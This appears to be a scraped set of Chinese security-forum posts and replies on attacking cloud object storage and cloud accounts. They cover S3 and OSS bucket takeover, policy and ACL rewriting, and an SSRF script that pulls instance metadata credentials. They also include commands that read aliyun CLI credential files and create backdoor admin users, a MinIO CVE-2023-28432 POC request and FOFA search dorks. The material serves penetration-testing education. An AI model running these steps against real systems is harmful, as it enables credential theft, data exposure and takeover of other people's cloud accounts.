当不知道 Bucket 名称的时候，可以通过爆破获得 Bucket 名称，这有些类似于目录爆破，只不过目录爆破一般通过状态码判断，而这个通过页面的内容判断。

当对于阿里云OSS 不存在有两种返回情况，分别是 InvalidBucketName 和 NoSuchBucket

InvalidBucketName：表示存储桶的名称不符合规范，属于无效的存储桶名称

NoSuchBucket：表示没有这个存储桶

当存储桶存在时，则会返回以下两种情况

这样通过返回内容的不同，就可以进行 Bucket 名称爆破了，知道 Bucket 名称后，Key 的爆破也就很容易了。

3、特定的Bucket策略配置

特定的策略配置的指的是，如果管理员设置了某些IP，UA才可以请求该存储桶的话，此时如果错误的配置了GetBucketPolicy，可导致攻击者获取策略配置

可以看到我们此时是没有权限访问该存储桶的，我们尝试使用aliyun的cli获取policy

我们可以看到，需要符合UserAgent为UzJu才可以访问

4、Bucket Object遍历

如果设置了ListObject，这将会导致Bucket桶被遍历

可通过访问Key，来下载该文件

5、任意文件上传与覆盖

如果在配置存储桶时，管理员错误的将存储桶权限，配置为可写，这将会导致攻击者可上传任意文件到存储桶中，或覆盖已经存在的文件

如果目标的对象存储支持 html 解析，那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作。

6、AccessKeyId，SecretAccessKey泄露

如果目标的 AccessKeyId、SecretAccessKey 泄露，那么就能获取到目标对象存储的所有权限，一般可以通过以下几种方法进行收集：

1、通过GitHub等开源平台中的源代码可发现存在泄露的Key

2、通过反编译APK，找到敏感信息

3、在目标网站源代码中找到（Js等）

7、Bucket接管

在阿里云下，当 Bucket 显示 NoSuchBucket 说明是可以接管的，如果显示 AccessDenied 则不行。

假设有以下一种情况，管理员通过域名解析并绑定了一个存储桶，但是管理员将存储桶删除后，没有将域名解析的CNAME删除，这时会访问域名就会出现上面的情况，NoSuchBucket。

现在我们将存储桶删除，就会出现如下情况

现在我们再访问域名会出现如下情况

现在阿里云加了限制，必须在传输管理中配置绑定域名即可。以下情况即可接管该存储桶

当我们访问存储桶的域名时，提示我们NoSuchBucket，这个时候可以登录自己的阿里云账号，创建同样的名称即可

此时我们刷新

已经成功接管了该存储桶，尝试上传文件后配置权限公开访问

8、Bucket 策略配置可写

当我们访问存储桶的时候，会提示我们已经被policy拦截

如果此时配置了存储桶的oss😛utBucketPolicy，就可以更改Deny为Allow即可访问

我们可以看到Effect中设置为Deny，我们只需要将它更改为Allow即可

随后使用PUT方法上传

随后我们再使用GET获取

此时我们可以正常看到存储桶中的对象了

9、修改策略导致网站瘫痪

当策略可写的时候，除了上面的将可原本不可访问的数据设置为可访问从而获得敏感数据外，如果目标网站引用了某个 s3 上的资源文件，而且我们可以对该策略进行读写的话，也可以将原本可访问的资源权限设置为不可访问，这样就会导致网站瘫痪了。

此时我们如果可以修改策略，我们只需要将获取该对象的权限修改为Deny，该网站既无法在获取图片，JS等信息了

10、实战案例

我们精心挑选了来自火线安全众测项目中，漏洞奖金较高的漏洞进行举例！

1、阿里云存储桶劫持

此时可以看到访问该域名显示NoSuchBucket，那么只需要去阿里云存储桶重新创建一个与HostID一样的存储桶名称即可

随后只需要上传文件，就可以让该域名显示我们上传的任意文件

2、反编译小程序，APP找到泄露的Key

3、在JS文件中找到存在泄露的AccessKey

Aws S3 对象存储攻防

TeamsSix: https://zone.huoxian.cn/d/907-aws-s3

# included[].attributes.contentHtml
bucket桶爆破，怎么爆破请问

# included[].attributes.contentHtml
发奖励的时候双手都在颤抖～

参考文章：http://agrrrdog.blogspot.com/2017/03/autobinding-vulns-and-spring-mvc.html

# included[].attributes.contentHtml
大家加油，相信自己，你也可以的。

# included[].attributes.contentHtml
0x00 前言

最近在做项目的时候，测到了一个部署在云上的存在 Laravel UEditor SSRF 漏洞的站点，并且发现这个 SSRF 漏洞可以读取到临时凭证，这不巧了，正好最近写了一个云环境利用的工具。

开始之前这里先简单介绍一下这个工具，CF 是这个工具的名字，通过它可以很方便的进行云上内网渗透，比如一键在所有实例上执行命令、一键接管控制台、一键列出云服务资源等等。

项目地址：https://github.com/teamssix/cf

使用手册：https://wiki.teamssix.com/cf

十分建议在使用 CF 的时候，边使用边参考 CF 的使用手册，发现 CF 更多功能，那话不多说，下面咱们就开始吧。

0x01 打点，但，是云环境

一开始还是信息收集，首先通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架，接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。

这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中，下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片。

然后我们读取返回的文件地址，通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg，说明这里确实存在 SSRF 漏洞。

通过查询该域名所属 IP，发现该站点位于云上，那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息，但是这样每次获取数据都要手动发两个数据包就很麻烦，所以这里简单搞个脚本。

import sys
import requests

ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}

req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)

print(req2.text)

通过查询该站点的 IP 得知该站点位于阿里云上，阿里云的元数据地址为 http://100.100.100.200/latest/meta-data，我们尝试获取一下。

可以看到成功获取到了元数据信息，并且值得注意的是，在元数据信息里还有 ram/目录，这就意味着这台实例存在临时访问凭证，也就是说存在被进一步利用的可能性。

我们一步步打开 ram/目录，在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。

不同于传统的打点，云环境的打点在我看来，除了传统打点的类型外，拿到云服务的 Access Key 也应该可以被称之为打点，那么在打到点后，接下来就可以开始内网横向了。

0x02 云上内网横向，也得细心呀

当我们拿到临时访问凭证后，首先要做的就是得知道这个凭证具备哪些权限。

我们先把凭证配置到 CF 里，CF 下载地址：https://github.com/teamssix/cf/releases

cf configure

查看当前凭证的权限

cf ls permissions

可以看到当前权限具有 OSS 的全部权限，并且可以使用 CF 的「列出 OSS 资源」以及「下载 OSS 资源」的功能。

这里先列出 OSS 资源看看

cf oss ls

可以看到在该凭证下有四个存储桶，一个是公开的，三个是私有的。

查看一下存储桶里有哪些文件

cf oss ls -b bucketName

利用 CF 下载文件，如果想下载全部对象，则不指定 -k参数即可。

cf oss get -b bucketName -k objectKey

大概翻了一下存储桶里的文件，在公有存储桶里大部分是图片，私有存储桶里有几十个压缩包文件和大量图片等等，这几百张图片里只发现了几张有敏感信息的图片，整体来说价值不大。

后来过了一会儿还是另外一位师傅在私有存储桶里一个个的翻文件，最后在几十个压缩包里终于找到了一个有高价值的配置文件，于是事情开始出现了转机，不得不说，还是得细心啊。

查看这个配置文件，发现在配置文件里写的是「OSS 相关配置信息」

但是当我们配置上这个 AK 后，发现这个 AK 还具有 ECS 的权限。

在后来拿下管理员权限后，我们发现这个用户被配置到了具备 ECS 权限的用户组里去了，所以这里才会有 ECS 的权限。

先用 CF 看一下有哪些 ECS 实例

cf ecs ls

使用 CF 一键获取临时访问凭证

cf ecs exec -m

发现只有一个实例可以获取到临时访问凭证，而且这个有临时访问凭证的实例就是上述存在 SSRF 漏洞的那台机器。

于是通过临时访问凭证横向的这条路就断了，那就继续在实例上信息收集吧，看看能不能找到什么有价值的信息，最后发现有一台实例安装了 aliyun cli 工具，并且配置过 AK，那么这样一来我们就可以通过查看 aliyun cli 工具的配置文件获取到这个 AK。

cf ecs exec -c "cat ~/.aliyun/config.json"

将 CF 配置上这个 AK，并查看权限

发现这个 AK 的权限要比之前的几个都要大，这个 AK 具有 AliyunRAMFullAccess权限，这也就意味着我们可以创建一个管理员后门用户，并通过该用户去接管控制台。

0x03 拿下云上管理员权限，相当于拿下“域控”？

使用 CF 一键接管控制台

cf console

在浏览器中，打开控制台登录地址，并输入用户名、密码进行登录。

在访问控制里，可以看到当前权限为AdministratorAccess，这也就意味着我们已经拿到了该租户的管理员权限。

在控制台中看看这个账号下的 OSS 对象存储服务

其他的 ECS、RDS 等等云服务也都是可以查看并操作的，这里就不再一一截图了，到这里为止，其实在我看来就相当于已经拿下了传统内网中的“域控”权限。

基本上这个云账号下的绝大部分操作都是可以执行的了，只不过在控制台下有些操作需要二次校验，但其实还是有办法绕过的，绕过的方法也很简单，相信你能猜到 ~

最后还有一些值得注意的地方，是需要了解的：

1. 在 ECS 实例中执行一些高危命令，例如反弹 Shell 这类，可能会引发云盾告警。

2. CF 接管控制台会创建一个后门用户，在使用完后，记得取消接管，使用 cf console cancel命令即可取消接管，后门用户也会随之删除。

3. 为了充分表达云上内网横向的过程以及更加完整的展示 CF 的使用，文中少部分内容非真实发生且部分内容进行了省略。

4. 出于保护目标但又想学习交流的目的，以上云上环境均为个人搭建，不代表目标的实际情况。

0x04 总结

记得以前大家一起做项目的时候，那个时候如果有人打点打到云上的主机时，就会在协作平台里标注一句「这个是云主机，不用花太多时间去深入」。

但随着企业业务的不断上云，打点打到云上主机的概率也在可感知的越来越大，似乎传统内网的奶酪正在不断变少，这时如果不去寻找新的奶酪（指云上内网横向），也许在不久的将来就会陷入两难的境地。

因此本文既是在介绍我写的这个云环境利用框架 CF 工具，也是在描绘一种在新场景下的内网横向手法，这里的内网横向不仅仅是从这台机器到那台机器，而是从这个云服务到那个云服务，例如从 OSS 到 ECS 再到 RAM 等等，在这其中又包含了从这个机器到那台机器，例如多台 ECS 实例之间的内网横向。

现在 xx 在即，也希望我写的这个工具以及这篇文章能够为你在实战中带来新的启发和新的思路，如果感觉 CF 这个工具似乎还可以的话，师傅你不妨动动小手给 CF 点个 Star，嘿嘿~ ，CF 项目地址：https://github.com/teamssix/cf

# included[].attributes.contentHtml
tql

# included[].attributes.contentHtml
在火线平台的火器中看到一个资产，居然是空白页面，空白页面就没有漏洞？？？偏偏不信邪，上手就是干！

https://xxx.target.com 打开页面啥也没有，一片空白

F12看下JS中的API接口，发现有几个可以获取数据的API，但是不知道参数

当我准备构造进行参数名FUZZ的时候发现在返回包直接告诉我缺少的参数名是什么了

然后fuzz参数内容，感觉一般都是数字型的，但是不知道几位数，随便fuzz下把

漏洞处理：

提交漏洞 2021-03-12 15:40:19

火线初审通过，评级高危 2021-03-12 15:50:00

厂商复审通过，确定高危评级 2021-03-17 15:21:51

厂商初步确认漏洞奖金980元 2021-03-17 15:21:51

获得火线60 rank/查克拉奖励 2021-03-19 12:18:44

漏洞修复 2021-03-20 12:18:44

马赛克火线Zone公开 2021-03-23 12:18:44

本文迁移自知识星球“火线Zone”

# included[].attributes.contentHtml
303 好用吗

# included[].attributes.contentHtml
前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

如果文章中的漏洞出现敏感内容产生了部分影响，请及时联系作者，望谅解。

一、漏洞原理

漏洞简述

MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务，与 Amazon S3 API 兼容，可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统，可以存储大量数据，并提供高速的数据读写能力。MinIO采用分布式架构，可以在多个节点上运行，实现数据的分布式存储和处理。

MinIO 存在信息泄露漏洞，在集群部署的MinIO中，未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量，其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD，造成敏感信息泄露，最终可能导致攻击者以管理员身份登录MinIO。

漏洞影响范围

供应商：MinIO

产品：MinIO

确认受影响版本：RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

修复版本：RELEASE.2023-03-20T20-16-18Z

漏洞分析

本漏洞的漏洞点来自MinIO系统中集群部署配置于/minio/bootstrap路径下，相关代码对HTTP请求的验证缺失，造成信息泄露。

在官方Github的安全推送中，首先是影响及补丁信息：

在补丁部分，可以看到补丁简述，补丁主要针对bootstrap部分对集群节点间进行token验证。

之后看到漏洞点相关代码

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

主要是两个函数 VerifyHandler() 和 getServerSystemCfg() 。

VerifyHandler() 函数主要作用为验证处置。

其中CFG字段涉及下列getServerSystemCfg()函数，该函数获取服务器系统CFG信息。

变量envs为List类型，为MINIO_。变量envValues存放envs的值。

之后循环处理将envs输出于envK中。最后返回结构体ServerSystemConfig，包含key：MinioEndpoints和MinioEnv。

可以看到与漏洞泄露涉及的MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD相对应。

根据官方说明，在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码，如果省略则默认账号密码为minioadmin/minioadmin。

另外，如果开启动Minio时没有设置MINIO_ROOT_USER和MINIO_ROOT_PASSWORD，那么Minio使用默认账号密码minioadmin，这时候再作信息泄露验证会发现读取不到管理员的账号密码，则推断存在默认口令。

二、漏洞复现实战

漏洞复现

MinIO 官方下载已更新至 RELEASE.2023-03-22T06-36-24Z，无法复现

主要可以采用Github旧版本或相关资产。

POC：

POST /minio/bootstrap/v1/verify HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Upgrade-Insecure-Requests: 1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

根据POC改包，可以看到存在信息泄露，包含内网IP泄露等

另外存在POC脚本。可以检测漏洞情况

链接：

https://github.com/MzzdToT/CVE-2023-28432

漏洞修复

目前官方已发布安全修复版本，建议更新至RELEASE.2023-03-20T20-16-18Z及以上版本版本

下载链接：https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z

另外，存在MinIO自更新项目，会更新至最新版本

链接：

https://github.com/minio/selfupdate

结束语

本文主要介绍了CVE-2023-28432 MinIO信息泄露漏洞的原理分析及复现过程，漏洞主要利用在集群部署的MinIO中，未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量，其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD，造成敏感信息泄露，最终可能导致攻击者以管理员身份登录MinIO。

# included[].attributes.contentHtml
火线用户7b4f66 我们用的版本是2021-03-26T00:00:41Z

# included[].attributes.contentHtml
一、引子

当一个新漏洞被曝光后，如何才能快速在互联网上找到相关资产？
网络空间搜索引擎是一个不错的选择，例如FOFA、shodan等。
举个例子，这几天新爆了一个“Yapi认证用户利用Mock功能远程命令执行漏洞”，
FOFA搜索语法为：app="YApi"

通过这个方法能快速定位到资产！

二、常用的FOFA语法整理

Bucket劫持
body="NoSuchBucket" && body="BucketName" && country="CN"
body="NoSuchBucket" && body="BucketName" && body="aliyuncs.com"

齐治堡垒机
app="shterm-Fortres-Machine"
app="齐治科技-堡垒机"

亿邮电子邮件系统
app="亿邮电子邮件系统"

用友
title="用友GRP-u8"
title="用友NC-OA"
title="用友U8-OA"
app="用友-UFIDA-NC"

三星路由器WLAN AP
title=="Samsung WLAN AP"

浪潮ClusterEngine
title="TSCEV4.0"

金山V8终端安全系统
app="猎鹰安全-金山V8+终端安全系统"
title="在线安装-V8+终端安全系统Web控制台"

IBOS酷办公系统
body="IBOS" && body="login-panel"

74cms
app="74cms"

Coremail
app="Coremail邮件系统"

好视通视频会议平台
body="深圳银澎云计算有限公司"

Wayos AC集中管理系统
title="AC集中管理平台"

Kyan 网络监控设备
title="platform - Login" && country="CN"

Alibaba Nacos
title="Nacos" && country="CN"

泛微 e-cology
app="泛微-协同办公OA"

飞鱼星家用智能路由
title="飞鱼星家用智能路由"

启明星辰 天清汉马USG防火墙
title="天清汉马USG防火墙"

Apache Solr
app="Apache-Solr"

安天高级可持续威胁安全检测系统
title="高级可持续威胁安全检测系统"

Zyxel NBG
app="ZyXEL-NBG2105"

SmartBi
app="SMARTBI"

WebLogic
title="Oracle WebLogic Server 管理控制台"
app="Weblogic_interface_7001"

若依管理系统
app="若依-管理系统"

电信网关配置管理系统
body="src=\"img/dl.gif\"" && title="系统登录"
24、智慧校园管理系统
body="DC_Login/QYSignUp"

H3CSecPath运维审计系统
title="H3C SecPath运维审计系统"

利谱第二代防火墙系统
title="利谱第二代防火墙系统"

海康威视流媒体管理服务器
title="流媒体管理服务器"

MessageSolution邮件归档系统
title="MessageSolution Enterprise Email Archiving (EEA)"

Canal
"Canal" && port="8089"

Hue 后台编辑器
title="Hue - 欢迎使用 Hue"

360天擎
title="360天擎"
title=="360天擎控制中心"

Laravel
app="Laravel-Framework" && country="CN" && host=".gov.cn"

高校Org语法
org="China Education and Research Network Center"

锐捷网关
app="Ruijie-EG易网关"

锐捷ISG、网域科技、中科网威
body="var dkey_verify = Get_Verify_Info(hex_md5)"

1039家校通
title="学员登录_1039家校通"

Active UC
title="网动统一通信平台(Active UC)"

ACTI
app="ACTi-视频监控"

Airflow
title=="Airflow - Login"

ActiveMQ
title="Apache ActiveMQ"

Cocoon
app="Apache-Cocoon"

三、利用火器捡漏洞

说了那么多，和主题有什么关系？
那么重点来了！
前面我们讲解了如何通过漏洞相关的特征信息快速定位资产，
这里我们可以思考一下，这个过程可不可以逆推一下？
或者说，我们是否可以通过SRC资产+特征信息，最终定位到漏洞？
当然可以！
火器就提供了这样的功能，我们再举一个例子。

登录火线，来到“火器 - 资产数据 - URL”

点击“增加条件”，HTTP响应体 - 包含 - NoSuchBucket

通过第一个条件，我们只是粗略的过滤了一下漏洞相关资产，我们可以通过添加第2个条件进一步缩小范围
继续点击“增加条件”，HTTP响应体 - 包含 - BucketName

特别说明：检索条件不唯一，根据漏洞特征对应提取就好

OK，漏洞相关资产已经拿到了，后面漏洞复现就没啥难度了，直接提交报告。

目前该漏洞已修复

通过这个思路，可以继续捡其他资产的漏洞。
觉得有收获的兄dei们点点赞啊。
我摊牌了，我想要10个赞换一件火线2021定制T恤 🤣

# included[].attributes.contentHtml
0@2021 app=这种语法是fofa已经封装好了的 根据相应指纹 比如响应包 页面内容 title 等等

# included[].attributes.contentHtml
打开xxx.com，f12翻js文件，

里面一堆接口，但只有查找menu列表的接口可以访问，http://xxx.com/api/v1/menu/list

js文件中没有添加和删除menu信息的接口，但是之前搞过类似的，这里就想着构造一下,添加和修改一般是为POST方式或PUT方式，格式为api/v1/模块名,删除一般为DELETE方式，将id贴在模块名后面即可。猜测接口

POST xxx.com/api/v1/menu/ 为添加或修改menu,

DELETE xxx.com/api/v1/menu/id 为删除menu

先构造添加menu的数据包

先尝试一下添加的，返回的数据包有提示，说明存在添加的接口

根据返回值构造数据包

数据为

{"name":"testestest","type":"1","parentId":"-1","href":"testesttest"},

发包添加成功

刚添加的id为1385524829445259265 将POST 改为DELETE,

接口格式为 api/v1/menu/id,这里为pi/v1/menu/1385524829445259265

构造猜测的删除menu的接口，发包，删除成功

总结：到现在越权也挖到过很多

后台的模块的接口格式一般是

添加的接口一般是😛OST /PUT /api/模块名 ,

POST /api/模块名/add

删除的一般为 DELETE /api/模块名/id

GET /api/模块名/del?id=

POST /api/模块名/

修改一般是: POST /api/模块名/modify

POST /api/模块名/

查询一般是: GET /api/模块名/list

/api/模块名/all

如果js文件中只有查询的接口，那么自己可以尝试一下构造添加、修改和删除接口

本文迁移自知识星球“火线Zone”

# included[].attributes.contentHtml
111

# included[].attributes.contentHtml
利用burp插件进行被动式扫描可以极大提高挖洞效率，由p1g3写的这两个插件会自动收集通过burp的jsonp、cors跨域请求，只需人工筛选响应中带有敏感信息的请求并进行利用即可：
https://github.com/p1g3/JSONP-Hunter
https://github.com/p1g3/CORS-SCAN

# included[].attributes.contentHtml
nb

# included[].attributes.contentHtml
欢迎大家踊跃评论在渗透过程中碰到的弱口令。

由于人性的弱点，弱口令总是普遍存在着。弱口令也成为我们拿下权限的有力手段之一，高端的渗透总是这么朴实无法且枯燥。

PDF下载地址：https://zone.huoxian.cn/d/648-at

常见用户名形式：

# included[].attributes.contentHtml
@"7_up"# up哥带带我

# included[].attributes.contentHtml
0x00 前言

对象存储（Object-Based Storage），也可以叫做面向对象的存储，现在也有不少厂商直接把它叫做云存储。

说到对象存储就不得不提 Amazon，Amazon S3 (Simple Storage Service) 简单存储服务，是 Amazon 的公开云存储服务，与之对应的协议被称为 S3 协议，目前 S3 协议已经被视为公认的行业标准协议，因此目前国内主流的对象存储厂商基本上都会支持 S3 协议。

在 Amazon S3 标准下中，对象存储中可以有多个桶（Bucket），然后把对象（Object）放在桶里，对象又包含了三个部分：Key、Data 和 Metadata

Key 是指存储桶中的唯一标识符，例如一个 URL 为：https://teamssix.s3.ap-northeast-2.amazonaws.com/flag，这里的 teamssix 是存储桶 Bucket 的名称，/flag 就是 Key

Data 就很容易理解，就是存储的数据本体

Metadata 即元数据，可以简单的理解成数据的标签、描述之类的信息，这点不同于传统的文件存储，在传统的文件存储中这类信息是直接封装在文件里的，有了元数据的存在，可以大大的加快对象的排序、分类和查找。

操作使用 Amazon S3 的方式也有很多，主要有以下几种：

AWS 控制台操作

AWS 命令行工具操作

AWS SDK 操作

REST API 操作，通过 REST API，可以使用 HTTP 请求创建、提取和删除存储桶和对象。

关于对象存储就介绍到这里，下面来看看在对象存储下的一些攻防手法。

0x01 Bucket 公开访问

在 Bucket 的 ACL 处，可以选择允许那些人访问

如果设置为所有人可列出对象，那么只要知道 URL 链接就能访问，对于设置为私有的情况下，则需要有签名信息才能访问，例如 https://teamssix.s3.ap-northeast-2.amazonaws.com/flag?response-content-disposition=xxx&X-Amz-Security-Token=xxx&X-Amz-Algorithm=xxx&X-Amz-Date=xxx&X-Amz-SignedHeaders=xxx&X-Amz-Expires=xxx&X-Amz-Credential=xxx&X-Amz-Signature=xxx

对于敏感文件，建议权限设置为私有，并培养保护签名信息的安全意识。

理论上，如果公开权限文件的名称设置的很复杂，也能在一定程度上保证安全，但不建议这样做，对于敏感文件，设置为私有权限的安全性要更高。

0x02 Bucket 爆破

当不知道 Bucket 名称的时候，可以通过爆破获得 Bucket 名称，这有些类似于目录爆破，只不过目录爆破一般通过状态码判断，而这个通过页面的内容判断。

当 Bucket 不存在有两种返回情况，分别是 InvalidBucketName 和 NoSuchBucket

当 Bucket 存在时也会有两种情况，一种是列出 Object

另一种是返回 AccessDenied

这样通过返回内容的不同，就可以进行 Bucket 名称爆破了，知道 Bucket 名称后，Key 的爆破也就很容易了。

0x03 Bucket Object 遍历

在 s3 中如果在 Bucket 策略处，设置了 s3:ListBucket 的策略，就会导致 Bucket Object 遍历

在使用 MinIO 的时候，如果 Bucket 设置为公开，那么打开目标站点默认就会列出 Bucket 里所有的 Key

将 Key 里的值拼接到目标站点后，就能访问该 Bucket 里相应的对象了

0x04 任意文件上传与覆盖

如果对象存储配置不当，比如公共读写，那么可能就会造成任意文件上传与文件覆盖。

如果目标的对象存储支持 html 解析，那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作。

0x05 AccessKeyId、SecretAccessKey 泄露

如果目标的 AccessKeyId、SecretAccessKey 泄露，那么就能获取到目标对象存储的所有权限，一般可以通过以下几种方法进行收集：

Github 敏感信息搜索

反编译目标 APK

目标网站源代码泄露

0x06 Bucket 接管

假如在进行渗透时，发现目标的一个子域显示如下内容

通过页面特征，可以判断出这是一个 Amazon 的 S3，而且页面显示 NoSuchBucket，说明这个 Bucket 可以接管的，同时 Bucket 的名称在页面中也告诉了我们，为 test.teamssix.com

那么我们就直接在 AWS 控制台里创建一个名称为 test.teamssix.com 的 Bucket 就可以接管了

创建完 Bucket 后，再次访问发现就显示 AccessDenied 了，说明该 Bucket 已经被我们接管了。

将该 Bucket 设置为公开，并上传个文件试试

在该子域名下访问这个 test.txt 文件

可以看到通过接管 Bucket 成功接管了这个子域名的权限

0x07 Bucket ACL 可写

列出目标 Bucket 提示被拒绝

查看目标 Bucket ACL 策略发现是可读的，且策略如下

aws s3api get-bucket-acl --bucket teamssix

查询官方文档，内容如下：

通过官方文档，可以分析出这个策略表示任何人都可以访问、写入当前 Bucket 的 ACL

那么也就是说如果我们把权限修改为 FULL_CONTROL 后，就可以控制这个 Bucket 了，最后修改后的策略如下：

{
    "Owner": {
        "ID": "d24***5"
    },
    "Grants": [
	{
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}

将该策略写入

aws s3api put-bucket-acl --bucket teamssix --access-control-policy file://acl.json

再次尝试，发现就可以列出对象了

0x08 Object ACL 可写

读取 Object 时提示被禁止

查看目标 Object 策略发现是可读的，且内容如下：

aws s3api get-object-acl --bucket teamssix --key flag

这个策略和上面的 Bucket ACL 策略一样，表示任何人都可以访问、写入当前 ACL，但是不能读取、写入对象

将权限修改为 FULL_CONTROL 后，Object ACL 策略如下：

{
    "Owner": {
        "ID": "d24***5"
    },
    "Grants": [
	{
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}

将该策略写入后，就可以读取对象了

aws s3api put-object-acl --bucket teamssix --key flag --access-control-policy file://acl.json

0x09 特定的 Bucket 策略配置

有些 Bucket 会将策略配置成只允许某些特定条件才允许访问，当我们知道这个策略后，就可以访问该 Bucket 的相关对象了。

例如下面这个策略：

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "TeamsSixFlagPolicy",
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::teamssix/flag",
            "Condition": {
                "StringLike": {
                    "aws:UserAgent": "TeamsSix"
                }
            }
        }
    ]
}

当直接访问 teamssix/flag 的时候会提示 AccessDenied

而加上对应的 User-Agent 时，就可以正常访问了

在实战中，可以去尝试读取对方的策略，如果对方策略没做读取的限制，也许就能读到。

其次在进行信息收集的时候，可以留意一下对方可能会使用什么策略，然后再去尝试访问看看那些原本是 AccessDenied 的对象是否能够正常访问。

0x10 Bucket 策略可写

修改策略获得敏感文件

现有以下 Bucket 策略

可以看到根据当前配置，我们可以对 Bucket 策略进行读写，但如果想读取 s3://teamssix/flag 是被禁止的

因为当前策略允许我们写入 Bucket 策略，因此可以将策略里原来的 Deny 改为 Allow，这样就能访问到原来无法访问的内容了。

修改后的策略如下：

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "*"
                ]
            },
            "Action": [
                "s3:GetBucketPolicy",
                "s3:PutBucketPolicy"
            ],
            "Resource": [
                "arn:aws:s3:::teamssix"
            ]
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "*"
                ]
            },
            "Action": [
                "s3:GetObject"
            ],
            "Resource": [
                "arn:aws:s3:::teamssix/flag"
            ]
        }
    ]
}

这里将第 20 行由原来的 Deny 改成了 Allow

当策略写入后，可以看到成功获取到了原本 Deny 的内容

修改网站引用的 s3 资源进行钓鱼

当策略可写的时候，除了上面的将可原本不可访问的数据设置为可访问从而获得敏感数据外，如果目标网站引用了某个 s3 上的资源文件，而且我们可以对该策略进行读写的话，也可以将原本可访问的资源权限设置为不可访问，这样就会导致网站瘫痪了。

例如这样的一个页面

查看源代码可以看到引用了 s3 上的资源

查看 Bucket 策略，发现该 s3 的 Bucket 策略是可读可写的

这时我们可以修改 Bucket 的静态文件，使用户输入账号密码的时候，将账号密码传到我们的服务器上

当用户输入账号密码时，我们的服务器就会收到请求了

修改 Bucket 策略为 Deny 使业务瘫痪

除了上面的利用手法外，也可以将策略设置为 Deny

当策略 PUT 上去后，网站业务就无法正常使用了

参考文章：

https://www.ithome.com/0/501/133.htm

https://mp.weixin.qq.com/s/eZ8OAO5ELgUNvVricIStGA

https://mp.weixin.qq.com/s/r0DuASP6gH_48b5sJ1DCTw

https://blog.csdn.net/bandaoyu/article/details/117469496

https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/Welcome.html

https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/acl-overview.html

https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/access-policy-language-overview.html

# included[].attributes.contentHtml
确实牛逼

# included[].attributes.contentHtml
   上次火线审核整理SSRF的时候找我沟通，聊到了PDF的SSRF，当时答应了找找之前的存档写个文档。遂写下改小菜文。大佬们勿喷。（文章写于去年，随便记录的文章，可能存在逻辑或者图片的丢失。）

那就直接进入正题。 众所周知，很多平台都会存在讲网页导出为pdf文件进行下载的功能。而常见点为：发票打印、行程打印、车票打印、保单下载等。而pdf转换工具很容易产生漏洞。一般是2个方面导致：
1、因为pdf一般是后端的组件，有的开发可能配置成
wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ，那就可直接利用file协议进行利用##
2、 同时pdf组件由于自身的代码问题或者调用的内置浏览器存在问题导致漏洞。

存在漏洞版本：
wkhtmltopdf 全版本目前0.12.6
weasyprint <=48
等等

案例：
有平台保单定制功能，其中定制完保单信息，可以pdf导出。

然后数据包可知是通过前端传入姓名之类的信息到后端进行插入，导出pdf.

通过pdf的创建者可知是通过pdf编辑器wkhtmltopdf进行pdf文件的转换。

